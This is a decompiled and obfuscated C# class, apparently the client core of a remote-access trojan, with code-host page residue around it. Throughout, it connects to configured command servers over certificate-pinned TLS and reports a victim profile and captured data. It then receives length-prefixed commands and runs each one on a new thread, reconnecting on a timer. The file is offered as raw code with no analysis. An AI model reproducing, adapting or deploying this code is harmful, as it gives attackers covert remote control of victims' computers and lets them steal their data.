640 lines
14 KiB
C#
640 lines
14 KiB
C#
using System;
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using System.Collections.Generic;
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using System.Net;
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using System.Net.Security;
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using System.Net.Sockets;
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using System.Runtime.CompilerServices;
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using System.Security.Authentication;
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using System.Security.Cryptography.X509Certificates;
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using System.Threading;
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// Token: 0x02000013 RID: 19
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internal static class Class9
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{
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// Token: 0x06000057 RID: 87 RVA: 0x00002438 File Offset: 0x00000638
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[CompilerGenerated]
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internal static void smethod_0(bool bool_1)
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{
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Class9.bool_0 = bool_1;
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}
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// Token: 0x06000058 RID: 88 RVA: 0x00002440 File Offset: 0x00000640
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[CompilerGenerated]
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internal static GClass4 smethod_1()
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{
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return Class9.gclass4_0;
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}
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// Token: 0x06000059 RID: 89 RVA: 0x00002447 File Offset: 0x00000647
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[CompilerGenerated]
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internal static void smethod_2(GClass4 gclass4_1)
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{
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Class9.gclass4_0 = gclass4_1;
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}
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// Token: 0x0600005A RID: 90 RVA: 0x0000244F File Offset: 0x0000064F
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private static void smethod_3()
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{
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Class9.gclass3_0 = (GClass3)GClass1.smethod_1(Convert.FromBase64String("H4sIAAAAAAAACgMAAAAAAAAAAAA="));
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Class9.x509Certificate2_0 = new X509Certificate2(Convert.FromBase64String(Class9.gclass3_0.String_0));
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}
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// Token: 0x0600005B RID: 91 RVA: 0x00008CD4 File Offset: 0x00006ED4
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internal static void smethod_4()
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{
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try
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{
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Class0.SetProcessDPIAware();
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}
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catch
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{
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}
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Class9.smethod_3();
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if (!Class6.smethod_0(Class9.gclass3_0.stadrmoOn1))
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{
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Environment.Exit(0);
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}
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try
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{
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if (Class9.gclass3_0.Boolean_0)
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{
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ThreadStart start;
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if ((start = Class9.__c.threadStart_0) == null)
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{
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start = (Class9.__c.threadStart_0 = new ThreadStart(Class9.__c.__c_0.method_0));
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}
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new Thread(start).Start();
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}
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}
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catch
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{
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}
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try
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{
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if (Class9.gclass3_0.Boolean_1)
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{
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Class3.smethod_3();
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}
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goto IL_306;
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}
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catch
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{
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goto IL_306;
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}
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goto IL_81;
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IL_306:
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while (Class9.bool_0)
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{
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byte[] array = new byte[4];
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while (Class9.bool_0)
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{
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try
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{
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Class9.a a = new Class9.a();
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int num = 4;
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array = new byte[4];
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int num2 = 0;
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while (num != 0)
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{
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int num3 = Class9.sslStream_0.Read(array, num2, num);
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num2 += num3;
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num -= num3;
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if (num3 > 0)
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{
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if (num >= 0)
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{
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continue;
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}
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}
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throw new Exception();
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}
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num = BitConverter.ToInt32(array, 0);
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if (num <= 0)
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{
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throw new Exception();
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}
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array = new byte[num];
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num2 = 0;
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while (num != 0)
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{
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int num3 = Class9.sslStream_0.Read(array, num2, num);
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num2 += num3;
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num -= num3;
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if (num3 > 0)
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{
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if (num >= 0)
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{
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continue;
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}
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}
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throw new Exception();
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}
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a.field_a = GClass1.smethod_1(array);
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new Thread(new ThreadStart(a.method_a)).Start();
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}
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catch
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{
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Class9.smethod_9();
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break;
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}
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}
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}
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IL_81:
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try
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{
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Thread.Sleep(5000);
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try
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{
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Timer timer = Class9.timer_1;
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if (timer != null)
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{
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timer.Dispose();
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}
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Class9.int_1 = 0;
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}
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catch
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{
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}
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try
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{
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Timer timer2 = Class9.timer_0;
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if (timer2 != null)
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{
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timer2.Dispose();
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}
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}
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catch
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{
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}
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try
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{
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SslStream sslStream = Class9.sslStream_0;
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if (sslStream != null)
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{
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sslStream.Dispose();
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}
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Socket socket = Class9.socket_0;
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if (socket != null)
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{
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socket.Dispose();
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}
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}
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catch
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{
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}
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if (!Class9.smethod_5())
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{
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throw new Exception();
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}
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Class9.sslStream_0 = new SslStream(new NetworkStream(Class9.socket_0, true), false, new RemoteCertificateValidationCallback(Class9.smethod_8));
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Class9.sslStream_0.ReadTimeout = (int)TimeSpan.FromMinutes(5.0).TotalMilliseconds;
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Class9.sslStream_0.WriteTimeout = (int)TimeSpan.FromMinutes(5.0).TotalMilliseconds;
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Class9.sslStream_0.AuthenticateAsClient(Class9.socket_0.RemoteEndPoint.ToString().Split(new char[]
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{
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':'
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})[0], null, SslProtocols.Tls, false);
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Class9.smethod_0(true);
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int num4 = new GClass12().method_2(20, 60);
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Class9.timer_0 = new Timer(new TimerCallback(Class9.smethod_6), null, (int)TimeSpan.FromSeconds((double)num4).TotalMilliseconds, (int)TimeSpan.FromSeconds((double)num4).TotalMilliseconds);
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if (Class9.gclass4_0 == null)
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{
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Class9.smethod_2(new GClass4
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{
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String_0 = Class4.smethod_2(),
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smFdyqYylo = Class4.smethod_0(),
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Boolean_0 = Class4.smethod_6(),
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String_3 = Class4.d(),
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String_2 = Class4.smethod_3(),
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QnsdsyyYrB = "4.4.1",
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String_1 = Class4.smethod_5(),
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Int32_2 = Class9.int_2,
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String_5 = Class3.smethod_0(),
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String_9 = Class3.smethod_2(),
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String_7 = Class9.gclass3_0.String_1,
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String_8 = Class4.h()
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});
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}
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Class9.gclass4_0.String_4 = ((IPEndPoint)Class9.socket_0.RemoteEndPoint).Address.ToString();
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Class9.gclass4_0.Int32_1 = ((IPEndPoint)Class9.socket_0.RemoteEndPoint).Port;
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Class9.gclass4_0.Byte_0 = Class4.i(60);
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Class9.gclass4_0.String_10 = Class3.d();
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Class9.h(Class9.gclass4_0);
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Class9.gclass4_0.String_10 = null;
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Class9.gclass4_0.Byte_0 = null;
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}
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catch
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{
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Class9.smethod_9();
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}
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goto IL_306;
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}
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// Token: 0x0600005C RID: 92 RVA: 0x00009198 File Offset: 0x00007398
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private static bool smethod_5()
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{
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List<string> list = new List<string>();
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List<int> list2 = new List<int>();
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list = Class9.gclass3_0.List_0;
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list2 = Class9.gclass3_0.List_1;
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try
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{
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GClass3 gclass = (GClass3)GClass1.smethod_1(Class7.smethod_0(Class4.smethod_0()));
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if (gclass != null && gclass.List_0.Count > 0 && gclass.List_1.Count > 0)
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{
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list = gclass.List_0;
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list2 = gclass.List_1;
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}
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}
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catch
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{
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list = Class9.gclass3_0.List_0;
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list2 = Class9.gclass3_0.List_1;
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}
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using (List<string>.Enumerator enumerator = list.GetEnumerator())
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{
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while (enumerator.MoveNext())
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{
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string text = enumerator.Current;
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if (!Class9.d(text))
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{
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foreach (int port in list2)
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{
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try
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{
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try
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{
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Socket socket = Class9.socket_0;
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if (socket != null)
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{
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socket.Dispose();
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}
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}
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catch
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{
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}
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Class9.socket_0 = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
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Class9.socket_0.ReceiveBufferSize = Class9.int_0;
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Class9.socket_0.SendBufferSize = Class9.int_0;
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Class9.socket_0.Connect(text, port);
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if (Class9.socket_0.Connected)
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{
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return true;
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}
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}
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catch
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{
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}
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}
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}
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else
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{
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foreach (IPAddress address in Dns.GetHostAddresses(text))
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{
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using (List<int>.Enumerator enumerator2 = Class9.gclass3_0.List_1.GetEnumerator())
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{
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while (enumerator2.MoveNext())
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{
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int port2 = enumerator2.Current;
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try
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{
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try
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{
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Socket socket2 = Class9.socket_0;
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if (socket2 != null)
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{
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socket2.Dispose();
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}
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}
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catch
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{
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}
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Class9.socket_0 = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
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Class9.socket_0.ReceiveBufferSize = Class9.int_0;
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Class9.socket_0.SendBufferSize = Class9.int_0;
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Class9.socket_0.NoDelay = true;
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Class9.socket_0.Connect(address, port2);
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if (Class9.socket_0.Connected)
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{
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return true;
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}
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}
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catch
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{
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}
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}
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goto IL_205;
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}
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continue;
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IL_205:;
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}
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}
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}
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return false;
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}
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bool result;
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return result;
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}
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// Token: 0x0600005D RID: 93 RVA: 0x00009498 File Offset: 0x00007698
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private static bool d(string a)
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{
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bool result;
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try
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{
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if (Uri.CheckHostName(a) != UriHostNameType.Dns)
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{
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result = false;
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}
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else
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{
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result = (Dns.GetHostAddresses(a).Length != 0);
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}
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}
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catch
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{
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result = false;
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}
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return result;
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}
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// Token: 0x0600005E RID: 94 RVA: 0x000094D8 File Offset: 0x000076D8
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private static void smethod_6(object object_2)
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{
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try
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{
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try
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{
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Timer timer = Class9.timer_1;
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if (timer != null)
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{
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timer.Dispose();
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}
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}
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catch
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{
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}
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Thread.Sleep(10);
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try
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{
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Interlocked.Exchange(ref Class9.int_1, 0);
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}
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catch
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{
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}
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Class9.h(new GClass8());
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Thread.Sleep(40);
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try
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{
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Class9.timer_1 = new Timer(new TimerCallback(Class9.smethod_7), null, 1, 1);
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}
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catch
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{
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}
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}
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catch
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{
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Class9.smethod_9();
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}
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}
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// Token: 0x0600005F RID: 95 RVA: 0x00009580 File Offset: 0x00007780
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private static void smethod_7(object object_2)
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{
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try
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{
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Interlocked.Increment(ref Class9.int_1);
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}
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catch
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{
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Class9.smethod_9();
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}
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}
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// Token: 0x06000060 RID: 96 RVA: 0x00002483 File Offset: 0x00000683
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private static bool smethod_8(object object_2, X509Certificate x509Certificate_0, object object_3, SslPolicyErrors sslPolicyErrors_0)
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{
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return Class9.x509Certificate2_0.Equals(x509Certificate_0);
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}
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// Token: 0x06000061 RID: 97 RVA: 0x000095B4 File Offset: 0x000077B4
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internal static void h(GClass2 a)
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{
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object obj = Class9.object_0;
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lock (obj)
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{
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try
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{
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if (Class9.sslStream_0 == null || !Class9.sslStream_0.CanWrite)
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{
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throw new InvalidOperationException();
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}
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byte[] array = GClass1.smethod_0(a);
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int num = array.Length;
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byte[] bytes = BitConverter.GetBytes(num);
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Class9.socket_0.Poll(-1, SelectMode.SelectWrite);
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Class9.sslStream_0.Write(bytes, 0, bytes.Length);
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int num2;
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for (int i = 0; i < num; i += num2)
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{
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num2 = Math.Min(Class9.int_0, num - i);
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Class9.socket_0.Poll(-1, SelectMode.SelectWrite);
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Class9.sslStream_0.Write(array, i, num2);
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}
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Class9.sslStream_0.Flush();
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}
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catch
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{
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Class9.smethod_9();
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}
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}
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}
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// Token: 0x06000062 RID: 98 RVA: 0x00002490 File Offset: 0x00000690
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internal static void i(string a)
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{
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if (Class9.bool_0)
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{
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Class9.h(new GClass9
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{
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String_0 = a
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});
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return;
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}
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}
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// Token: 0x06000063 RID: 99 RVA: 0x00009694 File Offset: 0x00007894
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internal static void smethod_9()
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{
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if (Class9.bool_0)
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{
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Class9.smethod_0(false);
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try
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{
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Timer timer = Class9.timer_1;
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if (timer != null)
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{
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timer.Dispose();
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}
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}
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catch
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{
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}
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try
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{
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Timer timer2 = Class9.timer_0;
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if (timer2 != null)
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{
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timer2.Dispose();
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}
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}
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catch
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{
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}
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try
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{
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Class9.socket_0.Shutdown(SocketShutdown.Both);
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}
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catch
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{
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}
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try
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{
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SslStream sslStream = Class9.sslStream_0;
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if (sslStream != null)
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{
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sslStream.Dispose();
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}
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}
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catch
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{
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}
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try
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{
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Class9.sslStream_0 = null;
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}
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catch
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{
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}
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try
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{
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Socket socket = Class9.socket_0;
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if (socket != null)
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{
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socket.Dispose();
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}
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}
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catch
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{
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}
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try
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{
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Class9.socket_0 = null;
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}
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catch
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{
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}
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return;
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}
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}
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// Token: 0x06000064 RID: 100 RVA: 0x000024AB File Offset: 0x000006AB
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// Note: this type is marked as 'beforefieldinit'.
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static Class9()
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{
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Class16.kLjw4iIsCLsZtxc4lksN0j();
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Class9.int_0 = 512000;
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Class9.object_0 = new object();
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Class9.int_2 = 4;
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}
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// Token: 0x06000065 RID: 101 RVA: 0x000024CC File Offset: 0x000006CC
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internal static bool smethod_10()
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{
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return Class9.object_1 == null;
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}
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// Token: 0x0400002D RID: 45
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private static readonly int int_0;
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// Token: 0x0400002E RID: 46
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|
[CompilerGenerated]
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|
private static bool bool_0;
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|
// Token: 0x0400002F RID: 47
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|
[CompilerGenerated]
|
|
private static GClass4 gclass4_0;
|
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// Token: 0x04000030 RID: 48
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private static Socket socket_0;
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// Token: 0x04000031 RID: 49
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private static SslStream sslStream_0;
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// Token: 0x04000032 RID: 50
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private static readonly object object_0;
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// Token: 0x04000033 RID: 51
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private static Timer timer_0;
|
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// Token: 0x04000034 RID: 52
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internal static Timer timer_1;
|
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// Token: 0x04000035 RID: 53
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private static X509Certificate2 x509Certificate2_0;
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// Token: 0x04000036 RID: 54
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internal static GClass3 gclass3_0;
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// Token: 0x04000037 RID: 55
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internal static int int_1;
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// Token: 0x04000038 RID: 56
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private static readonly int int_2;
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// Token: 0x04000039 RID: 57
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private static object object_1;
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// Compiler-generated singleton class (originally <>c)
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[CompilerGenerated]
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private sealed class __c
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{
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public static readonly Class9.__c __c_0 = new Class9.__c();
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public static ThreadStart threadStart_0;
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internal void method_0()
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{
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Class8.pwfVayjWiK();
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}
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}
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// Token: 0x02000015 RID: 21
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[CompilerGenerated]
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private sealed class a
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{
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// Token: 0x0600006B RID: 107 RVA: 0x000024F1 File Offset: 0x000006F1
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internal void method_a()
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{
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new Class2().method_0(this.field_a);
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}
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// Token: 0x0600006C RID: 108 RVA: 0x00002308 File Offset: 0x00000508
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// Note: this type is marked as 'beforefieldinit'.
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|
static a()
|
|
{
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Class16.kLjw4iIsCLsZtxc4lksN0j();
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}
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// Token: 0x0600006D RID: 109 RVA: 0x00002503 File Offset: 0x00000703
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|
internal static bool smethod_0()
|
|
{
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|
return Class9.a.a_0 == null;
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|
}
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// Token: 0x0400003D RID: 61
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|
public GClass2 field_a;
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// Token: 0x0400003E RID: 62
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|
internal static Class9.a a_0;
|
|
}
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|
}
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